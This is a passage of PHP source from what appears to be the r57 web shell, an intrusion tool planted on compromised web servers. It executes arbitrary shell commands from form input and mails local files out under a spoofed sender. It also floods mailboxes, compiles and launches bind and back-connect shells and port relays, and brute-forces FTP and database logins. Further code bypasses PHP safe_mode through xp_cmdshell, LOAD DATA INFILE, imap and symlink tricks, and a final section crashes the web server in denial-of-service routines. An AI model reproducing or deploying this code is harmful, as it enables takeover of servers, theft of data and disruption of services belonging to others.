4381echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?uptime title=\"View uptime\"><b>uptime</b></a> ".$rb;
4382
4383echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?last title=\"View last -n 10\"><b>last</b></a> ".$rb;
4384
4385echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?psaux title=\"View ps -aux\"><b>ps aux</b></a> ".$rb;
4386
4387echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?service title=\"View service\"><b>service</b></a> ".$rb;
4388
4389echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?ifconfig title=\"View ifconfig\"><b>ifconfig</b></a> ".$rb;
4390
4391echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?netstat title=\"View netstat -a\"><b>netstat</b></a> ".$rb;
4392
4393echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fstab title=\"View fstab\"><b>fstab</b></a> ".$rb;
4394
4395echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?fdisk title=\"View fdisk -l\"><b>fdisk</b></a> ".$rb;
4396
4397echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?df title=\"View df -h\"><b>df -h</b></a> ".$rb;
4398
4399}
4400
4401echo '</font></td></tr><table>
4402
4403<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000>
4404
4405<tr><td align=right width=100>';
4406
4407echo $font;
4408
4409if($unix){
4410
4411echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4412
4413echo "</td><td>";
4414
4415echo "<font face=Verdana size=-2 color=red><b>";
4416
4417echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
4418
4419echo ws(3).$sysctl."<br>";
4420
4421echo ws(3).ex('echo $OSTYPE')."<br>";
4422
4423echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4424
4425if(!empty($id)) {echo ws(3).$id."<br>";}
4426
4427else if(@function_exists('posix_geteuid') &&@function_exists('posix_getegid') &&@function_exists('posix_getgrgid') &&@function_exists('posix_getpwuid'))
4428
4429{
4430
4431$euserinfo = @posix_getpwuid(@posix_geteuid());
4432
4433$egroupinfo = @posix_getgrgid(@posix_getegid());
4434
4435echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
4436
4437}
4438
4439else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
4440
4441echo ws(3).$dir;
4442
4443echo ws(3).'( '.perms(@fileperms($dir)).' )';
4444
4445echo "</b></font>";
4446
4447}
4448
4449else
4450
4451{
4452
4453echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';
4454
4455echo "</td><td>";
4456
4457echo "<font face=Verdana size=-2 color=red><b>";
4458
4459echo ws(3).@substr(@php_uname(),0,120)."<br>";
4460
4461echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
4462
4463echo ws(3).@getenv("USERNAME")."<br>";
4464
4465echo ws(3).$dir;
4466
4467echo "<br></font>";
4468
4469}
4470
4471echo "</font>";
4472
4473echo "</td></tr></table>";
4474
4475if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail")
4476
4477{
4478
4479$res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
4480
4481err(6+$res);
4482
4483$_POST['cmd']="";
4484
4485}
4486
4487if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_file"&&!empty($_POST['loc_file']))
4488
4489{
4490
4491if($file=@fopen($_POST['loc_file'],"r")){$filedump = @fread($file,@filesize($_POST['loc_file']));@fclose($file);}
4492
4493else if ($file=readzlib($_POST['loc_file'])) {$filedump = $file;}else {err(1,$_POST['loc_file']);$_POST['cmd']="";}
4494
4495if(isset($_POST['cmd']))
4496
4497{
4498
4499$filename = @basename($_POST['loc_file']);
4500
4501$content_encoding=$mime_type='';
4502
4503compress($filename,$filedump,$_POST['compress']);
4504
4505$attach = array(
4506
4507"name"=>$filename,
4508
4509"type"=>$mime_type,
4510
4511"content"=>$filedump
4512
4513);
4514
4515if(empty($_POST['subj'])) {$_POST['subj'] = 'file from r57';}
4516
4517if(empty($_POST['from'])) {$_POST['from'] = 'billy@microsoft.com';}
4518
4519$res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
4520
4521err(6+$res);
4522
4523$_POST['cmd']="";
4524
4525}
4526
4527}
4528
4529if(!empty($_POST['cmd']) &&$_POST['cmd']=="mail_bomber"&&!empty($_POST['mail_flood']) &&!empty($_POST['mail_size']))
4530
4531{
4532
4533for($h=1;$h<=$_POST['mail_flood'];$h++){
4534
4535$res = mail($_POST['to'],$_POST['subj'],$_POST['text'].str_repeat(" ",1024*$_POST['mail_size']),"From: ".$_POST['from']."\r\n");
4536
4537}
4538
4539err(6+$res);
4540
4541$_POST['cmd']="";
4542
4543}
4544
4545if(!empty($_POST['cmd']) &&$_POST['cmd'] == "find_text")
4546
4547{
4548
4549$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
4550
4551}
4552
4553if(!empty($_POST['cmd']) &&$_POST['cmd']=="ch_")
4554
4555{
4556
4557switch($_POST['what'])
4558
4559{
4560
4561case 'own':
4562
4563@chown($_POST['param1'],$_POST['param2']);
4564
4565break;
4566
4567case 'grp':
4568
4569@chgrp($_POST['param1'],$_POST['param2']);
4570
4571break;
4572
4573case 'mod':
4574
4575@chmod($_POST['param1'],intval($_POST['param2'],8));
4576
4577break;
4578
4579}
4580
4581$_POST['cmd']="";
4582
4583}
4584
4585if(!empty($_POST['cmd']) &&$_POST['cmd']=="mk")
4586
4587{
4588
4589switch($_POST['what'])
4590
4591{
4592
4593case 'file':
4594
4595if($_POST['action'] == "create")
4596
4597{
4598
4599if(@file_exists($_POST['mk_name']) ||!$file=@fopen($_POST['mk_name'],"w")) {err(2,$_POST['mk_name']);$_POST['cmd']="";}
4600
4601else {
4602
4603@fclose($file);
4604
4605$_POST['e_name'] = $_POST['mk_name'];
4606
4607$_POST['cmd']="edit_file";
4608
4609echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
4610
4611}
4612
4613}
4614
4615else if($_POST['action'] == "delete")
4616
4617{
4618
4619if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
4620
4621$_POST['cmd']="";
4622
4623}
4624
4625break;
4626
4627case 'dir':
4628
4629if($_POST['action'] == "create"){
4630
4631if(@mkdir($_POST['mk_name']))
4632
4633{
4634
4635$_POST['cmd']="";
4636
4637echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
4638
4639}
4640
4641else {err(2,$_POST['mk_name']);$_POST['cmd']="";}
4642
4643}
4644
4645else if($_POST['action'] == "delete"){
4646
4647if(@rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
4648
4649$_POST['cmd']="";
4650
4651}
4652
4653break;
4654
4655}
4656
4657}
4658
4659if(!empty($_POST['cmd']) &&$_POST['cmd']=="touch")
4660
4661{
4662
4663if(!$_POST['file_name_r'])
4664
4665{
4666
4667$datar = $_POST['day']." ".$_POST['month']." ".$_POST['year']." ".$_POST['chasi']." hours ".$_POST['minutes']." minutes ".$_POST['second']." seconds";
4668
4669$datar = @strtotime($datar);
4670
4671@touch($_POST['file_name'],$datar,$datar);}
4672
4673else{
4674
4675@touch($_POST['file_name'],@filemtime($_POST['file_name_r']),@filemtime($_POST['file_name_r']));
4676
4677}
4678
4679$_POST['cmd']="";
4680
4681}
4682
4683if(!empty($_POST['cmd']) &&$_POST['cmd']=="edit_file"&&!empty($_POST['e_name']))
4684
4685{
4686
4687if(!$file=@fopen($_POST['e_name'],"r+")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);$only_read = 1;}
4688
4689if($file=@fopen($_POST['e_name'],"r")) {$filedump = @fread($file,@filesize($_POST['e_name']));@fclose($file);}
4690
4691else if ($file=readzlib($_POST['e_name'])) {$filedump = $file;$only_read = 1;}else {err(1,$_POST['e_name']);$_POST['cmd']="";}
4692
4693if(isset($_POST['cmd']))
4694
4695{
4696
4697echo $table_up3;
4698
4699echo $font;
4700
4701echo "<form name=save_file method=post>";
4702
4703echo ws(3)."<b>".$_POST['e_name']."</b>";
4704
4705echo "<div align=center><textarea name=e_text cols=121 rows=24>";
4706
4707echo @htmlspecialchars($filedump);
4708
4709echo "</textarea>";
4710
4711echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
4712
4713echo "<input type=hidden name=dir value=".$dir.">";
4714
4715echo "<input type=hidden name=cmd value=save_file>";
4716
4717echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
4718
4719echo "</div>";
4720
4721echo "</font>";
4722
4723echo "</form>";
4724
4725echo "</td></tr></table>";
4726
4727exit();
4728
4729}
4730
4731}
4732
4733if(!empty($_POST['cmd']) &&$_POST['cmd']=="save_file")
4734
4735{
4736
4737$mtime = @filemtime($_POST['e_name']);
4738
4739if((!$file=@fopen($_POST['e_name'],"w")) &&(!function_exists('file_put_contents'))) {err(0,$_POST['e_name']);}
4740
4741else {
4742
4743if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
4744
4745@fwrite($file,$_POST['e_text']) or @fputs($file,$_POST['e_text']) or @file_put_contents($_POST['e_name'],$_POST['e_text']);
4746
4747@touch($_POST['e_name'],$mtime,$mtime);
4748
4749$_POST['cmd']="";
4750
4751echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
4752
4753}
4754
4755}
4756
4757if (!empty($_POST['proxy_port'])&&($_POST['use']=="Perl"))
4758
4759{
4760
4761cf("/tmp/prxpl",$prx_pl);
4762
4763$p2=which("perl");
4764
4765$blah = ex($p2." /tmp/prxpl ".$_POST['proxy_port']." &");
4766
4767$_POST['cmd']="ps -aux | grep prxpl";
4768
4769}
4770
4771if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
4772
4773{
4774
4775cf("/tmp/bd.c",$port_bind_bd_c);
4776
4777$blah = ex("gcc -o /tmp/bd /tmp/bd.c");
4778
4779@unlink("/tmp/bd.c");
4780
4781$blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
4782
4783$_POST['cmd']="ps -aux | grep bd";
4784
4785}
4786
4787if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
4788
4789{
4790
4791cf("/tmp/bdpl",$port_bind_bd_pl);
4792
4793$p2=which("perl");
4794
4795$blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
4796
4797$_POST['cmd']="ps -aux | grep bdpl";
4798
4799}
4800
4801if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="Perl"))
4802
4803{
4804
4805cf("/tmp/back",$back_connect);
4806
4807$p2=which("perl");
4808
4809$blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
4810
4811$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4812
4813}
4814
4815if (!empty($_POST['ip']) &&!empty($_POST['port']) &&($_POST['use']=="C"))
4816
4817{
4818
4819cf("/tmp/back.c",$back_connect_c);
4820
4821$blah = ex("gcc -o /tmp/backc /tmp/back.c");
4822
4823@unlink("/tmp/back.c");
4824
4825$blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
4826
4827$_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
4828
4829}
4830
4831if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="Perl"))
4832
4833{
4834
4835cf("/tmp/dp",$datapipe_pl);
4836
4837$p2=which("perl");
4838
4839$blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
4840
4841$_POST['cmd']="ps -aux | grep dp";
4842
4843}
4844
4845if (!empty($_POST['local_port']) &&!empty($_POST['remote_host']) &&!empty($_POST['remote_port']) &&($_POST['use']=="C"))
4846
4847{
4848
4849cf("/tmp/dpc.c",$datapipe_c);
4850
4851$blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
4852
4853@unlink("/tmp/dpc.c");
4854
4855$blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
4856
4857$_POST['cmd']="ps -aux | grep dpc";
4858
4859}
4860
4861if (!empty($_POST['alias']) &&isset($aliases[$_POST['alias']])) {$_POST['cmd'] = $aliases[$_POST['alias']];}
4862
4863for($upl=0;$upl<=16;$upl++)
4864
4865{
4866
4867if(!empty($HTTP_POST_FILES['userfile'.$upl]['name'])){
4868
4869if(!empty($_POST['new_name']) &&($upl==0)) {$nfn = $_POST['new_name'];}
4870
4871else {$nfn = $HTTP_POST_FILES['userfile'.$upl]['name'];}
4872
4873@move_uploaded_file($HTTP_POST_FILES['userfile'.$upl]['tmp_name'],$_POST['dir']."/".$nfn)
4874
4875or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile'.$upl]['name']."</div></font>");
4876
4877}
4878
4879}
4880
4881if (!empty($_POST['with']) &&!empty($_POST['rem_file']) &&!empty($_POST['loc_file']))
4882
4883{
4884
4885switch($_POST['with'])
4886
4887{
4888
4889case 'fopen':
4890
4891$datafile = @implode("",@file($_POST['rem_file']));
4892
4893if($datafile)
4894
4895{
4896
4897$w_file=@fopen($_POST['loc_file'],"wb") or @function_exists('file_put_contents') or err(0);
4898
4899if($w_file)
4900
4901{
4902
4903@fwrite($w_file,$datafile) or @fputs($w_file,$datafile) or @file_put_contents($_POST['loc_file'],$datafile);
4904
4905@fclose($w_file);
4906
4907}
4908
4909}
4910
4911$_POST['cmd'] = '';
4912
4913break;
4914
4915case 'wget':
4916
4917$_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
4918
4919break;
4920
4921case 'fetch':
4922
4923$_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
4924
4925break;
4926
4927case 'lynx':
4928
4929$_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
4930
4931break;
4932
4933case 'links':
4934
4935$_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
4936
4937break;
4938
4939case 'GET':
4940
4941$_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
4942
4943break;
4944
4945case 'curl':
4946
4947$_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
4948
4949break;
4950
4951}
4952
4953}
4954
4955if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_file_up") ||($_POST['cmd']=="ftp_file_down")))
4956
4957{
4958
4959list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
4960
4961if(empty($ftp_port)) {$ftp_port = 21;}
4962
4963$connection = @ftp_connect ($ftp_server,$ftp_port,10);
4964
4965if(!$connection) {err(3);}
4966
4967else
4968
4969{
4970
4971if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) {err(4);}
4972
4973else
4974
4975{
4976
4977if($_POST['cmd']=="ftp_file_down") {if(chop($_POST['loc_file'])==$dir) {$_POST['loc_file']=$dir.((!$unix)?('\\'):('/')).basename($_POST['ftp_file']);}@ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']);}
4978
4979if($_POST['cmd']=="ftp_file_up") {@ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']);}
4980
4981}
4982
4983}
4984
4985@ftp_close($connection);
4986
4987$_POST['cmd'] = "";
4988
4989}
4990
4991if(!empty($_POST['cmd']) &&(($_POST['cmd']=="ftp_brute") ||($_POST['cmd']=="db_brute")))
4992
4993{
4994
4995if($_POST['cmd']=="ftp_brute"){
4996
4997list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
4998
4999if(empty($ftp_port)) {$ftp_port = 21;}
5000
5001$connection = @ftp_connect ($ftp_server,$ftp_port,10);
5002
5003}else if($_POST['cmd']=="db_brute"){
5004
5005$connection = 1;
5006
5007}
5008
5009if(!$connection) {err(3);$_POST['cmd'] = "";}
5010
5011else if(($_POST['brute_method']=='passwd') &&(!$users=get_users('/etc/passwd'))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>";$_POST['cmd'] = "";}
5012
5013else if(($_POST['brute_method']=='dic') &&(!$users=get_users($_POST['dictionary']))){echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>Can\'t get password list</b></div></font></td></tr></table>";$_POST['cmd'] = "";}
5014
5015if($_POST['cmd']=="ftp_brute"){@ftp_close($connection);}
5016
5017}
5018
5019echo $table_up3;
5020
5021if (empty($_POST['cmd']) &&!$safe_mode &&!$open_basedir) {$_POST['cmd']=(!$unix)?("dir"):("ls -lia");}
5022
5023else if(empty($_POST['cmd']) &&($safe_mode ||$open_basedir)){$_POST['cmd']="safe_dir";}
5024
5025echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>";
5026
5027if($safe_mode ||$open_basedir)
5028
5029{
5030
5031switch($_POST['cmd'])
5032
5033{
5034
5035case 'safe_dir':
5036
5037$d=@dir($dir);
5038
5039if ($d)
5040
5041{
5042
5043while (false!==($file=$d->read()))
5044
5045{
5046
5047if ($file=="."||$file=="..") continue;
5048
5049@clearstatcache();
5050
5051@list ($dev,$inode,$inodep,$nlink,$uid,$gid,$inodev,$size,$atime,$mtime,$ctime,$bsize) = stat($file);
5052
5053if(!$unix){
5054
5055echo date("d.m.Y H:i",$mtime);
5056
5057if(@is_dir($file)) echo " <DIR> ";else printf("% 7s ",$size);
5058
5059}
5060
5061else{
5062
5063if(@function_exists('posix_getpwuid')){
5064
5065$owner = @posix_getpwuid($uid);
5066
5067$grgid = @posix_getgrgid($gid);
5068
5069}else{$owner['name']=$grgid['name']='';}
5070
5071echo $inode." ";
5072
5073echo perms(@fileperms($file));
5074
5075@printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
5076
5077echo date("d.m.Y H:i ",$mtime);
5078
5079}
5080
5081echo "$file\n";
5082
5083}
5084
5085$d->close();
5086
5087}
5088
5089else if(@function_exists('glob'))
5090
5091{
5092
5093function eh($errno,$errstr,$errfile,$errline)
5094
5095{
5096
5097global $D,$c,$i;
5098
5099preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/",$errstr,$o);
5100
5101if($o){$D[$c] = $o[2];$c++;}
5102
5103}
5104
5105$error_reporting = @ini_get('error_reporting');
5106
5107error_reporting(E_WARNING);
5108
5109@ini_set("display_errors",1);
5110
5111$root = "/";
5112
5113if($dir) $root = $dir;
5114
5115$c = 0;$D = array();
5116
5117@set_error_handler("eh");
5118
5119$chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
5120
5121for($i=0;$i <strlen($chars);$i++)
5122
5123{
5124
5125$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}";
5126
5127$prevD = $D[count($D)-1];
5128
5129@glob($path."*");
5130
5131if($D[count($D)-1] != $prevD)
5132
5133{
5134
5135for($j=0;$j <strlen($chars);$j++)
5136
5137{
5138
5139$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}";
5140
5141$prevD2 = $D[count($D)-1];
5142
5143@glob($path."*");
5144
5145if($D[count($D)-1] != $prevD2)
5146
5147{
5148
5149for($p=0;$p <strlen($chars);$p++)
5150
5151{
5152
5153$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";
5154
5155$prevD3 = $D[count($D)-1];
5156
5157@glob($path."*");
5158
5159if($D[count($D)-1] != $prevD3)
5160
5161{
5162
5163for($r=0;$r <strlen($chars);$r++)
5164
5165{
5166
5167$path ="{$root}".((substr($root,-1)!="/") ?"/": NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
5168
5169@glob($path."*");
5170
5171}
5172
5173}
5174
5175}
5176
5177}
5178
5179}
5180
5181}
5182
5183}
5184
5185$D = array_unique($D);
5186
5187foreach($D as $item) echo htmlspecialchars("{$item}")."\r\n";
5188
5189error_reporting($error_reporting);
5190
5191}
5192
5193else echo $lang[$language.'_text29'];
5194
5195break;
5196
5197case 'test1':
5198
5199$ci = @curl_init("file://".$_POST['test1_file']);
5200
5201$cf = @curl_exec($ci);
5202
5203echo htmlspecialchars($cf);
5204
5205break;
5206
5207case 'test2':
5208
5209@include($_POST['test2_file']);
5210
5211break;
5212
5213case 'test3':
5214
5215if(empty($_POST['test3_port'])) {$_POST['test3_port'] = "3306";}
5216
5217$db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);
5218
5219if($db)
5220
5221{
5222
5223if(@mysql_select_db($_POST['test3_md'],$db))
5224
5225{
5226
5227@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
5228
5229@mysql_query("CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL )");
5230
5231@mysql_query("LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table");
5232
5233$r = @mysql_query("SELECT * FROM temp_r57_table");
5234
5235while(($r_sql = @mysql_fetch_array($r))) {echo @htmlspecialchars($r_sql[0])."\r\n";}
5236
5237@mysql_query("DROP TABLE IF EXISTS temp_r57_table");
5238
5239}
5240
5241else echo "[-] ERROR! Can't select database";
5242
5243@mysql_close($db);
5244
5245}
5246
5247else echo "[-] ERROR! Can't connect to mysql server";
5248
5249break;
5250
5251case 'test4':
5252
5253if(empty($_POST['test4_port'])) {$_POST['test4_port'] = "1433";}
5254
5255$db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);
5256
5257if($db)
5258
5259{
5260
5261if(@mssql_select_db($_POST['test4_md'],$db))
5262
5263{
5264
5265@mssql_query("drop table r57_temp_table",$db);
5266
5267@mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db);
5268
5269@mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db);
5270
5271$res = mssql_query("select * from r57_temp_table",$db);
5272
5273while(($row=@mssql_fetch_row($res)))
5274
5275{
5276
5277echo htmlspecialchars($row[0])."\r\n";
5278
5279}
5280
5281@mssql_query("drop table r57_temp_table",$db);
5282
5283}
5284
5285else echo "[-] ERROR! Can't select database";
5286
5287@mssql_close($db);
5288
5289}
5290
5291else echo "[-] ERROR! Can't connect to MSSQL server";
5292
5293break;
5294
5295case 'test5':
5296
5297$temp=tempnam($dir,"fname");
5298
5299if (@file_exists($temp)) @unlink($temp);
5300
5301$extra = "-C ".$_POST['test5_file']." -X $temp";
5302
5303@mb_send_mail(NULL,NULL,NULL,NULL,$extra);
5304
5305$str = moreread($temp);
5306
5307echo htmlspecialchars($str);
5308
5309@unlink($temp);
5310
5311break;
5312
5313case 'test6':
5314
5315$stream = @imap_open('/etc/passwd',"","");
5316
5317$dir_list = @imap_list($stream,trim($_POST['test6_file']),"*");
5318
5319for ($i = 0;$i <count($dir_list);$i++) echo htmlspecialchars($dir_list[$i])."\r\n";
5320
5321@imap_close($stream);
5322
5323break;
5324
5325case 'test7':
5326
5327$stream = @imap_open($_POST['test7_file'],"","");
5328
5329$str = @imap_body($stream,1);
5330
5331echo htmlspecialchars($str);
5332
5333@imap_close($stream);
5334
5335break;
5336
5337case 'test8':
5338
5339$temp=@tempnam($_POST['test8_file2'],"copytemp");
5340
5341$str = readzlib($_POST['test8_file1'],$temp);
5342
5343echo htmlspecialchars($str);
5344
5345@unlink($temp);
5346
5347break;
5348
5349case 'test9':
5350
5351@ini_restore("safe_mode");
5352
5353@ini_restore("open_basedir");
5354
5355$str = moreread($_POST['test9_file']);
5356
5357echo htmlspecialchars($str);
5358
5359break;
5360
5361case 'test10':
5362
5363@ob_clean();
5364
5365$error_reporting = @ini_get('error_reporting');
5366
5367error_reporting(E_ALL ^E_NOTICE);
5368
5369@ini_set("display_errors",1);
5370
5371$str=fopen($_POST['test10_file'],"r");
5372
5373while(!feof($str)){print htmlspecialchars(fgets($str));}
5374
5375fclose($str);
5376
5377error_reporting($error_reporting);
5378
5379break;
5380
5381case 'test11':
5382
5383@ob_clean();
5384
5385$temp = 'zip://'.$_POST['test11_file'];
5386
5387$str = moreread($temp);
5388
5389echo htmlspecialchars($str);
5390
5391break;
5392
5393case 'test12':
5394
5395@ob_clean();
5396
5397$temp = 'compress.bzip2://'.$_POST['test12_file'];
5398
5399$str = moreread($temp);
5400
5401echo htmlspecialchars($str);
5402
5403break;
5404
5405case 'test13':
5406
5407@error_log($_POST['test13_file1'],3,"php://../../../../../../../../../../../".$_POST['test13_file2']);
5408
5409echo $lang[$language.'_text61'];
5410
5411break;
5412
5413case 'test14':
5414
5415@session_save_path($_POST['test14_file2']."\0;/tmp");
5416
5417@session_start();
5418
5419@$_SESSION[php]=$_POST['test14_file1'];
5420
5421echo $lang[$language.'_text61'];
5422
5423break;
5424
5425case 'test15':
5426
5427@readfile($_POST['test15_file1'],3,"php://../../../../../../../../../../../".$_POST['test15_file2']);
5428
5429echo $lang[$language.'_text61'];
5430
5431break;
5432
5433case 'test16':
5434
5435if (fopen('srpath://../../../../../../../../../../../'.$_POST['test16_file'],"a")) echo $lang[$language.'_text61'];
5436
5437break;
5438
5439case 'test17_1':
5440
5441@unlink('symlinkread');
5442
5443@symlink('a/a/a/a/a/a/','dummy');
5444
5445@symlink('dummy/../../../../../../../../../../../'.$_POST['test17_file'],'symlinkread');
5446
5447@unlink('dummy');
5448
5449while (1)
5450
5451{
5452
5453@symlink('.','dummy');
5454
5455@unlink('dummy');
5456
5457}
5458
5459break;
5460
5461case 'test17_2':
5462
5463$str='';
5464
5465while (strlen($str) <3) {
5466
5467$temp = 'symlinkread';
5468
5469$str = moreread($temp);
5470
5471if($str){@ob_clean();echo htmlspecialchars($str);}
5472
5473}
5474
5475break;
5476
5477case 'test17_3':
5478
5479$dir = $files = array();
5480
5481if(@version_compare(@phpversion(),"5.0.0")>=0){
5482
5483while (@count($dir) <3) {
5484
5485$dir=@scandir('symlinkread');
5486
5487if (@count($dir) >2) {@ob_clean();@print_r($dir);}
5488
5489}
5490
5491}
5492
5493else {
5494
5495while (@count($files) <3) {
5496
5497$dh = @opendir('symlinkread');
5498
5499while (false !== ($filename = @readdir($dh))) {
5500
5501$files[] = $filename;
5502
5503}
5504
5505if(@count($files) >2){@ob_clean();@print_r($files);}
5506
5507}
5508
5509}
5510
5511break;
5512
5513}
5514
5515}
5516
5517if((!$safe_mode) &&($_POST['cmd']!="php_eval") &&($_POST['cmd']!="mysql_dump") &&($_POST['cmd']!="db_query") &&($_POST['cmd']!="ftp_brute") &&($_POST['cmd']!="db_brute")){
5518
5519$cmd_rep = ex($_POST['cmd']);
5520
5521if(!$unix) {echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n";}
5522
5523else {echo @htmlspecialchars($cmd_rep)."\n";}}
5524
5525switch($_POST['cmd'])
5526
5527{
5528
5529case 'dos1':
5530
5531function a() {a();}a();
5532
5533break;
5534
5535case 'dos2':
5536
5537@pack("d4294967297",2);
5538
5539break;
5540
5541case 'dos3':
5542
5543$a = "a";@unserialize(@str_replace('1',2147483647,@serialize($a)));
5544
5545break;
5546
5547case 'dos4':
5548
5549$t = array(1);while (1) {$a[] = &$t;};
5550
5551break;
5552
5553case 'dos5':
5554
5555@dl("sqlite.so");$db = new SqliteDatabase("foo");
5556
5557break;
5558
5559case 'dos6':
5560
5561preg_match('/(.(?!b))*/',@str_repeat("a",10000));
5562
5563break;
5564
5565case 'dos7':
5566
5567@str_replace("A",str_repeat("B",65535),str_repeat("A",65538));
5568
5569break;
5570
5571case 'dos8':
5572
5573@shell_exec("killall -11 httpd");
5574
5575break;
5576
5577case 'dos9':
5578
5579function cx(){@tempnam("/www/","../../../../../../var/tmp/cx");cx();}cx();
